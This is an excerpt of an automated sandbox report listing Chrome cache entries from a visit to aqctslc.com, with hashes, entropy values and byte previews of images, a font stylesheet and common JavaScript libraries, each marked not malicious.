Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 720 x 377, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	43110
Entropy (8bit):	7.972097873432179
Encrypted:	false
SSDEEP:	768:Sy4gc8mfHlzWmLEWthBfCv9sBSuhxatRg2dr1BYbq1vpG7czZLB63Z3s3yq/ODr:+gmfFzW018v+hxGXdRBYbq1vpG7ud637
MD5:	4A865A2185DB6AC0D71023E098AC8B70
SHA1:	AD8444759AE17B78D22966B6C10A73F0EA76D156
SHA-256:	7AB95BBEFAB3FA4BDFFBD572E310D3CEC2B632B4CF2667813FD86551711FD167
SHA-512:	2ED9607443BE8586B0C42FA6DFCF096FCDD89BAEAB3BCF24FC2368FBB68CC7AD96CF504818AE3C43CD79F2DB6328559A45BBE38080BB1CFE107757DDF847EB6B
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/feedback.png
Preview:	.PNG........IHDR.......y......r......PLTE..................................................c\r................TMV......\|hm72A........._.n....................g.{...........c....w.X.........................x......cI.~e.yU..p....w].............rYvY^.......mU.~r......oSW...q.iObEH.vj.qN..da..............hLO.....dH.U......nj....{}.v........y]tx..o....}...Z=@.[W..Rn.......^......n.{g..RM.............g....._....o_.dU.qo.vL...`..tv..........[2'.{i~bf.lp...W..P38.lZ......WA....`...d=5..{.ew....~q.K-...w:'.........J3H)).A$.F4....\G...`O.f.vHF> .......T7.>'....b<.YIi..Hc........6..D;uv.Ps....c<j.......u......Yj....\|Kk....\|..pb.cw#0m....PY\|...,J.......s&.....m.....4'.n..c[9J.y..X...~.\|..DD`.L.ps.u..\|x0...../l....;n.0Z...0.9..%.Q..b.w..P...D........tRNS......../.l.L.=..X%]u...P.....t......IDATx..[.LQ..m..[s.qd....r).S..".(.l....q+..#.%.)..BC..A.......E).7o.o.}....ch....L...._.Z..Q\|.]....l"..D..D6.N.... .1......>.E..d

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (4037), with no line terminators
Category:	downloaded
Size (bytes):	4037
Entropy (8bit):	5.2147243752845185
Encrypted:	false
SSDEEP:	48:RQN+y5vtMVu8EdavVlmyNAMhgL+up8zqmtwmynMETYMCCdypRa0G6W75Vroe7N+7:W/xuvgTquqdtwmjUFyi0GR5Vvoym
MD5:	9090D40F712CFDEA381B16A6E24586A8
SHA1:	D1C5C2C00F3D050E219733D2EB57DCF3E9490330
SHA-256:	B9A83D35B5B2869B3CBB9ACEA2CFE0430FEEBDE8B9560265513DEC344AC1B78C
SHA-512:	D5A9AD7DB959377C8C312DE9F50DD5CA75E39C5E7BBABF059188BE3C4AF6125AD7DE4F0ACC290E0B6815D32CD3306027020BE59FA5E82E284CEE83F0400059E8
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/js/meanmenu.min.js
Preview:	!function($){"use strict";$.fn.meanmenu=function(e){var n={meanMenuTarget:jQuery(this),meanMenuContainer:".yango-responsive-menu",meanMenuClose:"X",meanMenuCloseSize:"18px",meanMenuOpen:"<span /><span /><span />",meanRevealPosition:"right",meanRevealPositionDistance:"0",meanRevealColour:"",meanScreenWidth:"480",meanNavPush:"",meanShowChildren:!0,meanExpandableChildren:!0,meanExpand:"+",meanContract:"-",meanRemoveAttrs:!1,onePage:!1,meanDisplay:"block",removeElements:""};e=$.extend(n,e);var a=window.innerWidth\|\|document.documentElement.clientWidth;return this.each(function(){var n=e.meanMenuTarget,t=e.meanMenuContainer,r=e.meanMenuClose,i=e.meanMenuCloseSize,s=e.meanMenuOpen,u=e.meanRevealPosition,m=e.meanRevealPositionDistance,l=e.meanRevealColour,o=e.meanScreenWidth,c=e.meanNavPush,v=".meanmenu-reveal",h=e.meanShowChildren,d=e.meanExpandableChildren,y=e.meanExpand,j=e.meanContract,Q=e.meanRemoveAttrs,f=e.onePage,g=e.meanDisplay,p=e.removeElements,C=!1;(navigator.userAgent.match(/iPhon

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	31871
Entropy (8bit):	5.596886139997167
Encrypted:	false
SSDEEP:	768:hdE0ZoPBQmtIV/NGXwuI3maESJ8xDpy7MCUzKLZT0hr:hdE0ZoPBQmtIV/NGXwuI3maESJ8xDpyA
MD5:	F3887A61CCAF3EE4128460F28E99E1A5
SHA1:	D232B634BDF71368550A4566E809C88D496C76F6
SHA-256:	7C8BD0E3872704D1131E5CAF87DCC18F13F2A515871BAB016231A7BC7EFBA096
SHA-512:	FEE21C9108B1513EF21888B77C8D63EBFF876B027D2CCEE9CC177017E641E771134AE73F6301A6D9CBA0D58596893A4BF7122F5E358966987FEF44D0C746AE8A
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css2?family=Nunito+Sans:ital,wght@0,200;0,300;0,400;0,600;0,700;0,800;0,900;1,200;1,300;1,400;1,600;1,700;1,800;1,900&display=swap"
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Nunito Sans';. font-style: italic;. font-weight: 200;. font-stretch: 100%;. font-display: swap;. src: url(https://fonts.gstatic.com/s/nunitosans/v15/pe0RMImSLYBIv1o4X1M8cce4OdVisMz5nZRqy6cmmmU3t2FQWEAEOvV9wNvrwlNstMKW3Y6K5WMwd-RaLY50.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Nunito Sans';. font-style: italic;. font-weight: 200;. font-stretch: 100%;. font-display: swap;. src: url(https://fonts.gstatic.com/s/nunitosans/v15/pe0RMImSLYBIv1o4X1M8cce4OdVisMz5nZRqy6cmmmU3t2FQWEAEOvV9wNvrwlNstMKW3Y6K5WMwd-1aLY50.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ vietnamese */.@font-face {. font-family: 'Nunito Sans';. font-style: italic;. font-weight: 200;. font-stretch: 100%;. font-display: swap;. src: url(https://fonts.gstatic.com/s/nunitosans/v15/pe0RMImSLYBIv1o4

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 31, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1224
Entropy (8bit):	7.813802723620955
Encrypted:	false
SSDEEP:	24:xvjkCXcZYNJLGH5lirViHfgosRloVKIbQ6cz36rJf7Bz:+UcZYNmDOViaTGK4Q6OmJfF
MD5:	FF1D15D33544F8CE51C54602F4DEBEC3
SHA1:	A8B8A22216A754BDD8F9B45D7D0AAFB07A413D7A
SHA-256:	FF9074EB7E11CE32D3F69A3FB97BA06A69DAE277A81A6C900D07AA1FDAD0510D
SHA-512:	5C9111908E8EA6B13AA45E0641C6195BC6AE0FEE44755CE9A898098FF31E15986926EC200B8DDCE074FA8CC9F0EFD9C9B4BD9C2A2532848EB5C2238EF0E472D4
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/visa.png
Preview:	.PNG........IHDR...2............Y....sBIT....\|.d.....IDATXG.}LUu..?.......(.@ ."...j..t.2L-+5.+.M...Y..rX./.25':_..5]..8^&Q......B..r.....v~[.?...I.....w~..y...s~...!..g..(I.D..T.NW.r..IN..uI......p.[EQ.7%...)..M!.r{....X..A.. ....E.0A.(.PDU...Y/#......S.......lU.\7Pt&L.}.5r.P..W.RXO..F.....,.~w..x2.FQx....8}..V...A&{B,oOzD<_Z{.......!).J..$...U...mG....s..%.R.....\H..K.34..d..e..x".:E.O..G..mf...j[....!...-...GF...18;\|.\|}....@h...KF2.....9...%..N.f.....&..o..]..1..RF.Q.4....<A...1D....T.z..c.~n..po5.~s......K..)....@TU..U.....Z..2.........)}.....V."..E.".....M......UH.ga....{.b.V3[....H....I..%R0gB....:.D.yGq.....H.+..!.....>6...k.X.....7...N..B..o.....f...Qf^.C.;u .Yb..(...{.0.Z._U.TB(...\.KMm$.=C............4.C..[[..v..G.nZ.p....l.]..J.5..;.l...B..r...7....V..@.I.....v..W......".4..Z.D..?....%<....(`\|... ........J.X+..8U../[=...!..r. .....j......aP...F;.y%...z...X..<.c{...)..Q..$%*.U..0wg%&..!.Vz...Z.P.......... U7.L.\...H.

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65288), with CRLF line terminators
Category:	dropped
Size (bytes):	80780
Entropy (8bit):	5.178088427818689
Encrypted:	false
SSDEEP:	1536:UcJTbJH2I5ZKam2n/yFcLaeYGmSr/ahp613GExOQb4Io:ERpmGMo
MD5:	AFAC8D93A4A4E41D4B7C74718DDA6F7A
SHA1:	5C49B0FDB6CF97C538892F3D6CDC09DEE610F945
SHA-256:	90AF55D93D91BE8897395E68EEB0772800B3099DCF18DA537D7687F16B324FA7
SHA-512:	E7088E6678CF0F5455FAF2472D0567F7B678D6DF302CEC34F420CAD8FC9067EC986EC7B9663A25318934C82F76C759B654CE33A1F816FE671D653F83ED594716
Malicious:	false
Reputation:	low
Preview:	/!.. Bootstrap v5.0.0-beta1 (https://getbootstrap.com/).. * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors).. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE).. */.. !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t\|\|self).bootstrap=e()}(this,(function(){"use strict";function t(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function e(e,n,i){return n&&t(e.prototype,n),i&&t(e,i),e}function n(){return(n=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}function i(t,e){t.prototype=Object.create(e.prototype),t.prototype.constructor=t,t.__pr

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 720 x 377, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	43110
Entropy (8bit):	7.972097873432179
Encrypted:	false
SSDEEP:	768:Sy4gc8mfHlzWmLEWthBfCv9sBSuhxatRg2dr1BYbq1vpG7czZLB63Z3s3yq/ODr:+gmfFzW018v+hxGXdRBYbq1vpG7ud637
MD5:	4A865A2185DB6AC0D71023E098AC8B70
SHA1:	AD8444759AE17B78D22966B6C10A73F0EA76D156
SHA-256:	7AB95BBEFAB3FA4BDFFBD572E310D3CEC2B632B4CF2667813FD86551711FD167
SHA-512:	2ED9607443BE8586B0C42FA6DFCF096FCDD89BAEAB3BCF24FC2368FBB68CC7AD96CF504818AE3C43CD79F2DB6328559A45BBE38080BB1CFE107757DDF847EB6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......y......r......PLTE..................................................c\r................TMV......\|hm72A........._.n....................g.{...........c....w.X.........................x......cI.~e.yU..p....w].............rYvY^.......mU.~r......oSW...q.iObEH.vj.qN..da..............hLO.....dH.U......nj....{}.v........y]tx..o....}...Z=@.[W..Rn.......^......n.{g..RM.............g....._....o_.dU.qo.vL...`..tv..........[2'.{i~bf.lp...W..P38.lZ......WA....`...d=5..{.ew....~q.K-...w:'.........J3H)).A$.F4....\G...`O.f.vHF> .......T7.>'....b<.YIi..Hc........6..D;uv.Ps....c<j.......u......Yj....\|Kk....\|..pb.cw#0m....PY\|...,J.......s&.....m.....4'.n..c[9J.y..X...~.\|..DD`.L.ps.u..\|x0...../l....;n.0Z...0.9..%.Q..b.w..P...D........tRNS......../.l.L.=..X%]u...P.....t......IDATx..[.LQ..m..[s.qd....r).S..".(.l....q+..#.%.)..BC..A.......E).7o.o.}....ch....L...._.Z..Q\|.]....l"..D..D6.N.... .1......>.E..d

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31997), with CRLF line terminators
Category:	downloaded
Size (bytes):	44348
Entropy (8bit):	5.080631784451867
Encrypted:	false
SSDEEP:	768:RCI7dmuMFAAJG4dlQKNORpnXGAtep2lcwJeL+wr2RSNc7UuHjRUQuFBt33:AITMFC4dbMVRSNcgRDV
MD5:	47C357C05CB99CEDBAC2874840319818
SHA1:	D8B05365DE4B760618328FDEEF7672E8374978E4
SHA-256:	4E0781BDD2CBB5DB04DA3B5E059EECA34E325FABB893BEE7457B5BABF5B7C029
SHA-512:	960B76113C78220ACC1C87E437C6698FBF1066B8CF7B15A6D4D33F31AB69D8E16BD9823C07CE1897DB4D0BDFE08B39E5C7085B79A7A8EF80760E87D9AA789E2E
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/js/owl.carousel.min.js
Preview:	/*.. Owl Carousel v2.3.4.. * Copyright 2013-2018 David Deutsch.. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE.. */..!function(a,b,c,d){function e(b,c){this.settings=null,this.options=a.extend({},e.Defaults,c),this.$element=a(b),this._handlers={},this._plugins={},this._supress={},this._current=null,this._speed=null,this._coordinates=[],this._breakpoint=null,this._width=null,this._items=[],this._clones=[],this._mergers=[],this._widths=[],this._invalidated={},this._pipe=[],this._drag={time:null,target:null,pointer:null,stage:{start:null,current:null},direction:null},this._states={current:{},tags:{initializing:["busy"],animating:["busy"],dragging:["interacting"]}},a.each(["onResize","onThrottledResize"],a.proxy(function(b,c){this._handlers[c]=a.proxy(this[c],this)},this)),a.each(e.Plugins,a.proxy(function(a,b){this._plugins[a.charAt(0).toLowerCase()+a.slice(1)]=new b(this)},this)),a.each(e.Workers,a.proxy(function(b,c){this._pipe.push

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2381), with no line terminators
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	5.036128455245249
Encrypted:	false
SSDEEP:	48:d+MQEVjiEVLy3WyewILzTGO6KuDfMwtCY4DzG1kQWMQWBQWA19OQWA1d+ZiqSQWD:dNt2mfwILzqKuqWSDMDBDAaDA3Gi9DMC
MD5:	36D1B0E5A3A7397B267E704BEB2F7272
SHA1:	86DF23E41520D19DD0C6928E4A5DE89C1AE172A2
SHA-256:	2DCC9F6916671EE0EE4C5F7C7B6F13C519189B65D371A39309C0D95B79050C28
SHA-512:	E728F97A563DBBA72519EF7FF7B6E3DE3265C3CF8EF574AFFED6E67BC9BF2D1F1C2A79D3E7EAD1F2A1D6FD4610FCCA332E0DDCBD31DE608A4CE64464B404926E
Malicious:	false
Reputation:	low
Preview:	(function($){"use strict";$.ajaxChimp={responses:{"We have sent you a confirmation email":0,"Please enter a value":1,"An email address must contain a single @":2,"The domain portion of the email address is invalid (the portion after the @: )":3,"The username portion of the email address is invalid (the portion before the @: )":4,"This email address looks fake or invalid. Please enter a real email address":5},translations:{en:null},init:function(selector,options){$(selector).ajaxChimp(options)}};$.fn.ajaxChimp=function(options){$(this).each(function(i,elem){var form=$(elem);var email=form.find("input[type=email]");var label=form.find("label[for="+email.attr("id")+"]");var settings=$.extend({url:form.attr("action"),language:"en"},options);var url=settings.url.replace("/post?","/post-json?").concat("&c=?");form.attr("novalidate","true");email.attr("name","EMAIL");form.submit(function(){var msg;function successCallback(resp){if(resp.result==="success"){msg="We have sent you a confirmation

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 298 x 462, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	11586
Entropy (8bit):	7.961844688205225
Encrypted:	false
SSDEEP:	192:5TwepgmddvEy/kWjCRZ/AQ052rlrskZVqEXOuQjOfq6Xl68QjTwoZFLFVfm5qyZ:5TrgEvEy/GRJ50OlIkT/ODoV1fWDLrYt
MD5:	D44328A17E6D1FECC4AF85203D4B2537
SHA1:	06986C79033AE4E1CF7D665FFCBD51BD441D4F29
SHA-256:	3CFD00E1DC281004F1A5496AAC5F861F1542E8F886483C2A4984EF289FF53413
SHA-512:	193A4A24B582E6AA7B70F7609A6BFAFA20DE337E52C6925ED02872021D70C89F8C5D89C2C99A3033D511376CB1A8D8B9712EB56E4511F14F5409D87E084854BF
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/subscribe.png
Preview:	.PNG........IHDR.............1......PLTE...@I\|...@K{@Jz?J{.@I\|7g..........?J\|?J{?J\|..........?J\|......?J{:Cv9Bt......=Hy..@J\|7<n...AHy;Ex....?J\|?J{?J{..............>I{.?J\|...@J\|?J{..........?J{......?I{.?J{...>Hz..............>I{..............?J{....AK\|.................?J{.......?J{.....?J{....................?J{.......XQ}.....................m.........y_...........{..\|..Tc......k[..j{.@K\|.............CM~...MZ.....t..n......DP.O\.....GS.............Wf.........JW.......\l.aq.HO~..............Q^......NR....ev....\].Sb...TR}w........TX...k}............z.........}.............]U}i{..v...}..zq.pj..t....{......fd......z..g.......b....p\.....k....q.............)+Pj....tRNS.6o...{.............&.......-.....$.....V0..~=..'..F..h..f".qD...NM<4...._G..N...U.....o?.k^...\|bX99uo.{e..XB.N..s..x....}J...........(...)pIDATx...IL.Q........A......kT.[.qC.!..

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (746), with CRLF line terminators
Category:	dropped
Size (bytes):	1844
Entropy (8bit):	5.235974350698717
Encrypted:	false
SSDEEP:	24:Te8aw3XpiJc472t2LanC8XOz3BqQO+SRQLb10QHrf7RG5g72S1In1q8UIO91bXfZ:3l3XwqDt2LaCtz3LLbg5gaM61UN1rBMO
MD5:	D927454792BDFD87B67D5AAF97B1546F
SHA1:	05BB1BD107971ED8B82BACBA5F01D9CA3B5E777D
SHA-256:	7F9E48827DA7B092D036C3280B7433D37CE9F9BFAFF6CDECACA6AF14663C240B
SHA-512:	CD39FC6EE0BBB02EA3F18ABB2F1A5AB5332EFF140EEE8C61065DE35F9B776B8DF052452C08AAF34C7C11190EA95268CA960E7A2642DD9D053D3AA442DA078176
Malicious:	false
Reputation:	low
Preview:	/.. jQuery.appear.. * https://github.com/bas2k/jquery.appear/.. * http://code.google.com/p/jquery-appear/.. * http://bas2k.ru/.. .. Copyright (c) 2009 Michael Hixson.. * Copyright (c) 2012-2014 Alexander Brovikov.. * Licensed under the MIT license (http://www.opensource.org/licenses/mit-license.php).. */..(function($){$.fn.appear=function(fn,options){var settings=$.extend({data:undefined,one:!0,accX:0,accY:0},options);return this.each(function(){var t=$(this);t.appeared=!1;if(!fn){t.trigger('appear',settings.data);return}..var w=$(window);var check=function(){if(!t.is(':visible')){t.appeared=!1;return}..var a=w.scrollLeft();var b=w.scrollTop();var o=t.offset();var x=o.left;var y=o.top;var ax=settings.accX;var ay=settings.accY;var th=t.height();var wh=w.height();var tw=t.width();var ww=w.width();if(y+th+ay>=b&&y<=b+wh+ay&&x+tw+ax>=a&&x<=a+ww+ax){if(!t.appeared)t.trigger('appear',settings.data)}else{t.appeared=!1}};var modifiedFn=function(){t.appeared=!0;if(settings.one){w.unbind('

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 88 x 72, 8-bit/color RGBA, interlaced
Category:	downloaded
Size (bytes):	5896
Entropy (8bit):	7.882717822242202
Encrypted:	false
SSDEEP:	96:MYR209tzz94luNtvPBpdSXYcT+gxeW0IBxKHV2c104kvJsXcemqXdLWvbzUa/y:93P+sjdaUIBx8QssemMdLWv/Uaa
MD5:	79692C5A9C9FE66DD09066BDD89D1E31
SHA1:	5BE3BFDCCCCE9FE61D156F81B77A0DE3AA0F9616
SHA-256:	9860BB36D17C92D98A7C33863EAE7BDE87A6BD7A268F00B979C3F6501DF66ADA
SHA-512:	D484DF85FC0EAA6ECA1DF51DA6C3FA79AE912594600790E6CF6343902B497EE0A472DAB03990C4F4A8C7917C4176A2AFB6E9E13B91E8267766C4917A060B2C03
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/shape2.png
Preview:	.PNG........IHDR...X...H......D.9....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:64168CFA5A1F11EBB4D6A84CD45553BE" xmpMM:DocumentID="xmp.did:64168CFB5A1F11EBB4D6A84CD45553BE"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:64168CF85A1F11EBB4D6A84CD45553BE" stRef:documentID="xmp.did:64168CF95A1F11EBB4D6A84CD45553BE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..zJ...xIDATx.b`@......8.....D033s......^^^.Xu...K.2.(.....".............Al.E@wr@%.]\\..L5b .0"s<<<.`....rc.4...5/

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality", baseline, precision 8, 320x180, components 3
Category:	downloaded
Size (bytes):	13645
Entropy (8bit):	7.961142749872464
Encrypted:	false
SSDEEP:	384:GE2h7+Z4XIQikeX7VuTcyjjaIIKERdrRH6:GE2d+Z4XIHR8kKCd8
MD5:	87FBA007100039D9299EBBFB126B8E64
SHA1:	E3D6A3AAD36948AA9D0C44A72AF62051505E5F86
SHA-256:	D540ED2820D4C7E2EAC3FF2B3525B486598BB5157CD245570DC4031485F52924
SHA-512:	1A6C729E1C6E4C72829F3EB8CC78740AF7638B0827598A51F55FD8F9A2855F5A3DECC033A43B22E069030FF77555CBA0334D7006B39E0985350AFA3787FC6613
Malicious:	false
Reputation:	low
URL:	https://imagesspace.hks3.layerstackobjects.com/images/img_678003ec457cb9.14918951.jpeg
Preview:	......JFIF.....`.`.....>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........@.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....4a..hyT..!.0..o....JC.;S.0.z.p.8.......@.d9.iv6:..6.v..b.36.....kH..M..f...'...J.u.w1.7....X..{H.b....\.\>..;.....I..?.)=..G.....>.v..S..Q^.k..hcX..-.L.v.....>..m.....A._...7J.v....d[.$e\|...3c....r...*....)...#....cVe.w..w..~..)...B....]...J.v.\|7u.z..$2..H......[F.n.r....\|#z...a...e}....X.,n...C..h"

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	37819
Entropy (8bit):	7.976280299806509
Encrypted:	false
SSDEEP:	768:JNd2HI1v41MnPOajtPxfzhk17VAhVZZsepA/CsEzD2BrJgyO3ISMC:JNUF1haRpbhk1Rm9KCs02ndO3DMC
MD5:	2CFE9F3849CE5C4492AE038210AB0D55
SHA1:	02927E5D6BA0AD76F93CE8B0326B15A09939FE36
SHA-256:	92CE5D560DC14B5412CB5C38B35D26449447B313183315EF21D055E706D0F6E1
SHA-512:	B0A10A02CC3CAD8EFAB939644A4C5B4B5359CF1CE35BD8E5429B97809F1786C9C4964587199E9B523E5014043C42B2A3DEBC4BE0325E5F7E94E28D6A9DA3F92D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............x......sBIT....\|.d.....pHYs..........+......tEXtSoftware.www.inkscape.org..<... .IDATx...w..U..._.09'...0.!.D..AtU.9.5........s..."..sf`.`r...]DBOUuW..>O?(L.:43].n.{..!...@6..h.d......,@.P.T..@._....ym........@>.{.s..t.....#....oS..o....;....#......s!.....0H$0...t<.J..6.s......h..BE....y..........K.y.L`...#...@]...Y@..1.U.\|.L..\|..."6.4._(w.F..x.........!..A.5.'..^#/'z..u^.$..=.T6`...P.....{..^...<..B.....E.B...4.U...2...2..0.N....._../..".....{1.b......e.[.....2.a....U...t....B..\...(w.F_..~m......[.......K_.f...{...Bx#...e....._.6...\.....M......5P...&...DL...~.....k..?..............).~.B.!t..r.e...F.9 J.{...P.........L..F.!.PX.?.......#4..z...c.{.H...]s)!...-P........g1v...PZ!..>..k.J..!...4..\|...."....d...C..jBY.bW.6.!Dx1....3..z..#..d..m`..9.^?.L..B.q.N.m.....W#...].x../.....Z..4.-.B.....4I(..z.qr..3/.WA&..dl.q.S.&Dc.ta...D..44.T]Kce...z.K.S.s.u;.S.s?5.vR.i...&#.....C.cL.p.p;`.1.."S.IiW@lf*1.i.d......i.....n..rP_UMcC#u.U..

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 892 x 479, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	34434
Entropy (8bit):	7.970630918717989
Encrypted:	false
SSDEEP:	768:1ZFQj1uPlsNZIlqIrdrR2H1E22WT4mk4yQZVmwkHqlh:uj1uPl6CVBEHP2WXk4yQnm/A
MD5:	2B6C667CE60E26B5A638C6A9C8D68000
SHA1:	AACC111352317F99CF9F44FE1F6DCCB164399429
SHA-256:	4DE53C3FB316593A7299E704A07D51B51EFF0B5FD4C4A6E3E720669F2381ABA1
SHA-512:	6225721898368F9B17F7A1D36C42528217882A9F22F87BB5870C5B461AD89BCC0BE39AE4E5DC9DFBB03CE7D33137C8E29A46C7F91B28920649AE8F1B2C0A8C60
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/cta.png
Preview:	.PNG........IHDR...\|.........<.y....PLTE................................................................................................................................................M..k.......Q.....O..Q........P..._...........n.m.P...m.m.Q..N..n.O..M..P..P..P..N..bbb.KM.../LY.8:O.....@......39!6.n.....m.O...3.m.....^.P.....'./...O@Z.......m.p.$jo.X.1.....&-:E.....d.....#$...iiiE..VRY...>;@....Z^~P.Z9s.......\`...kC....}....uj~.z....O........3..:.....+~.......5....._<x...M..?.....=...h....Q...n................K...,....13.9;#gk.ORN..-..D..O...X\".,.#$F..i.1..&puM..5..7.. _cI..oF........BEA........>..T5k...<..... EEEK0`H..9.....d?....<<<zM.yyz.IL......6"E...555.5..!(w\|&&&.S..g.--....NNNC..c.X..../..A)S...+}.qqq...VVV......\\\jjj.........[;u;..eff...............{.p..fZ.......V..h.I.....tRNS........... .>....p.l..%._/xI.*Y9....eP.....4&HTF..O..C....N......0..=.p....@....m...`........{y).S-...l3....=.H....u`...k=..x....X......v.6,Z.....IDATx....K#w...y.

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2133
Entropy (8bit):	4.575761601296124
Encrypted:	false
SSDEEP:	48:tXEBJgeiLcGKkIeVPrRjlLp1783dXkX0KtA7/YVOYFxD3RjODNM:tXEBJ698UPlRvX0KRLOa
MD5:	002D5D4F21E0181EAF063E1726AA33C2
SHA1:	07B1FDC9FF69D54F174C8BBAFEB77C5882258A65
SHA-256:	400D776F6DF26F2184B63CE1BEB5CF4539C067CB7A5613AFB071C9DBAFAC8E01
SHA-512:	D7031065915E29FE772F97CA2A940E2A58A7E007F98147EE9C96E2BB434AD1C1372AD79EC2FF8274F7C4162DBD14F8CE69DB63FAC42C4B9EEFC9EB40C0C9894D
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/js/contact-form-script.js
Preview:	/==============================================================/..// Contact Form JS../==============================================================/..(function ($) {.. "use strict"; // Start of use strict.. $("#contactForm").validator().on("submit", function (event) {.. if (event.isDefaultPrevented()) {.. // handle the invalid form..... formError();.. submitMSG(false, "Did you fill in the form properly?");.. } else {.. // everything looks good!.. event.preventDefault();.. submitForm();.. }.. });...... function submitForm(){.. // Initiate Variables With Form Content.. var name = $("#name").val();.. var email = $("#email").val();.. var msg_subject = $("#msg_subject").val();.. var phone_number = $("#phone_number").val();.. var message = $("#message").val();...... $.ajax({.. type: "POST",.. url: "assets/php/form-pro

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5558
Entropy (8bit):	5.190809250489173
Encrypted:	false
SSDEEP:	96:7qexpR3tRexX6ex6Dutjhxex6DutTex6Dut71Xpp2wECLyI5N7HJUBLSPSmuSJas:7ZXI1pcTcFc21XpYiDb3
MD5:	10001BF6EB355F7A371F3C98DBA46271
SHA1:	4E2529B665AD9F87D0BBEF09FD5D9C3191BEEC9A
